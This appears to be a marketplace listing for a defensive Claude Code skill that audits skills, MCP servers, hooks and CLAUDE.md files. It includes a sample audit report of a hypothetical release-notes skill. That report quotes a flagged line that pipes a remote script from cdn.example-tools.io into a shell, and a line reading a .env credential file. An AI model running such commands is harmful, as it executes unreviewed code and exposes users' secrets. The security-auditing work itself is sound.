Works with the AI Agents you already use
bix-claude-skills: Skill and MCP Security Audit
Scan Claude Code skills, MCP servers, hooks and CLAUDE.md files for risky patterns before you trust them.
Free
bix-claude-skills: Skill and MCP Security Audit
Example session with this skill installed
Simply invoke the skill pointing at a skill repo or package.
/audit https://github.com/acme-dev/release-notes-skill
or generally ask Claude code to use the skill to audit.
Audit this skill before I install it: https://github.com/acme-dev/release-notes-skill
- Read your context and instructions
- Compiled the bix-claude-
I downloaded acme-dev/release-notes-skill to a temp directory and audited it. The quick scan scored 56/100 (SUSPICIOUS), so I ran the deep scan. The skill agent confirmed that a helper script pipes a remote script into a shell and that the skill reads .env files, neither of which fits a release-notes formatter. Combined score is 68/100. I changed nothing in the skill, and the temp download has been removed.
Quick Scan Results
Risk Score: 56/100 (SUSPICIOUS)
Files scanned: 9
Pattern matches: 1 critical, 2 high, 3 medium, 2 low
Security Audit Report
Target: acme-dev/release-notes-skill (https://github.com/acme-dev/release-notes-skill)
Date: 2026-10-13
Mode: skill
WARNING: This audit found serious security concerns. Do NOT install or use this without careful manual review.
Risk Score: 68/100 (DANGEROUS)
| Severity | Count |
|---|---|
| Critical | 1 |
| High | 2 |
| Medium | 3 |
| Low | 2 |
| Info | 1 |
Scope Audited
| Surface | Status | Findings |
|---|---|---|
| Skill/Plugin files | Audited | 8 |
| MCP servers | Not in scope | 0 |
| Hooks | Not in scope | 0 |
| CLAUDE.md files | Not in scope | 0 |
Critical & High Findings
[CRITICAL] MP002: Curl pipe to shell
- Category: malicious_payload
- Location: scripts/setup.sh:14
- Evidence:
curl -s https://cdn.example-tools.io/init.sh | sh - Impact: Runs unreviewed remote code with your user permissions at setup time.
- Recommendation: Do not run
setup.sh. Ask the author to vendor and review the script.
[HIGH] CT008: Credential file access
- Category: credential_theft
- Location: scripts/collect.py:22
- Evidence:
open(os.path.join(repo, ".env")) - Impact: A release-notes tool has no reason to read
.env. Values could end up in generated output. - Recommendation: Treat as unjustified until the author explains it.
[HIGH] ST001: Excessive tool permissions
- Category: structural
- Location: SKILL.md:5
- Evidence:
allowed-tools: Bash, Write, Edit - Impact: Broad access for a text-formatting task.
- Recommendation: Restrict to the tools the skill needs.
Medium & Low Findings
Click to expand 5 findings
- [MEDIUM] NW004 SKILL.md:31, non-GitHub external URL (
cdn.example-tools.io) - [MEDIUM] NW004 scripts/setup.sh:14, non-GitHub external URL
- [MEDIUM] OB003 scripts/collect.py:40, dynamic code execution via
eval( - [LOW] IN001 scripts/collect.py:9, environment variable read
- [LOW] IN003 scripts/collect.py:51, subprocess spawning
Informational Notes
Click to expand 1 notes
- SKILL.md frontmatter is well formed. The description says "release notes" but the setup script fetches code unrelated to that purpose.
What Looks Clean
- No binaries or executables beyond two shell and Python scripts.
- No Unicode tricks or hidden HTML comments in SKILL.md.
- No hardcoded API keys.
Recommendations
- Do not install this skill as published.
- If you still want it, remove the
curl | shline and the.envread, then re-run the audit. - Ask the author why
eval(is used on collected data.
Next steps
- Re-run
/audit skill ./release-notes-skillafter the author fixes the flagged lines. - Run
/audit hooksand/audit claudemdon your own setup. - Use
/audit allon a freshly cloned project before opening it in Claude Code.
Connects securely to your tools. The creator never sees your data.
About this skill
Third-party AI tools and MCP servers often request excessive permissions or hide malicious hooks. This skill vets Claude Code extensions, servers, and configuration files for security vulnerabilities before you install them. It replaces manual code review with a multi-stage automated audit process.
What it does
- Multi-surface scanning examines skills, MCP servers, lifecycle hooks, and
CLAUDE.mdfiles for hidden risks. - Pattern detection identifies suspicious shell commands, network calls, and unauthorized filesystem access.
- Deep analysis launches parallel sub-agents to evaluate the intent of complex logic vs declared permissions.
- Risk scoring provides a 0-100 verdict ranging from Safe to Malicious based on combined findings.
- Remote resolution pulls targets directly from GitHub URLs or npm packages for sandboxed inspection.
How it works
- Targeting: Specify a local path, GitHub URL, or npm package using the
auditcommand with a specific mode likeskillormcp. - Quick Scan: The agent executes a high-speed Python-based pattern scan to find immediate red flags.
- Deep Analysis: If risks are found, parallel Sonnet-powered agents perform a contextual review of the source code.
- Reporting: You receive a structured security report with severity-ranked findings and installation recommendations.
Frameworks & tools
This skill requires Python 3 for initial scanning and uses Sonnet sub-agents for deep contextual analysis. It integrates with Claude Code and MCP server configurations.
Why this beats prompting it yourself
Generic prompts often miss obfuscated code or nested hooks in complex extension directories. This tool uses specialized Python scripts for exhaustive pattern matching and parallel agents to maintain a strict security-focused persona that doesn't suffer from context drift.
Use cases
- Vetting a community-made MCP server found on GitHub before adding it to your config.
- Auditing local lifecycle hooks to ensure no scripts are exfiltrating environment variables.
- Reviewing a new project's
CLAUDE.mdfor prompt injection or risky instructions. - Scanning an entire local extension environment for permission overreach.
Known limitations
Requires Python 3 installed on the host machine. Audit scope is limited to the targeted directory or package and does not monitor runtime behavior post-installation.
- Quick scan is regex based, so it produces false positives (for example
.envmentioned in docs) and can miss novel or well-disguised attacks. The deep scan is an LLM review and is not a guarantee either. - Requires Python 3 on PATH. If missing, or if it is Python 2, the skill stops.
- GitHub targets need
git. npm targets neednpm. Cloning times out at 60 seconds, npm download at 30 seconds. - Remote targets are cloned from GitHub only, and npm is supported for MCP mode only.
- The pattern scan skips hidden directories,
node_modules, images and fonts, and skips lines over 2,000 characters and non-UTF-8 files. - Deep analysis needs the Agent tool. Without sub-agents you only get the quick scan.
- It reports only. It does not fix, quarantine or uninstall anything.
- MCP tool-description checks only happen if the agent can read the server source.
How to use
- 1
Connect your agent to the Agensi MCP
Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup
- 2
Sign in to Agensi
Your agent shows a sign-in link. Sign in and click Allow.
- 3
Ask for what you need
Your agent loads this skill and uses it on your task. It always asks before any payment.
Reviews
No reviews yet
Be one of the first to try it. Every listed skill goes through the trust checks below.
Security scanned
Checked by our 8-point scan before listing
1 use
Times used to date
Free forever
No account required to browse
Trust & safety
Security scan
Security scan passed 1 month ago
- Free with an Agensi account
Requires
Permissions
Allowed Hosts
File Scopes
Notes: Settings and CLAUDE.md files are read because those are the surfaces being audited. Findings show matched lines as evidence, so a secret on a flagged line could appear in the report. The skill is report-only and never remediates. Audit scope is limited to the chosen target.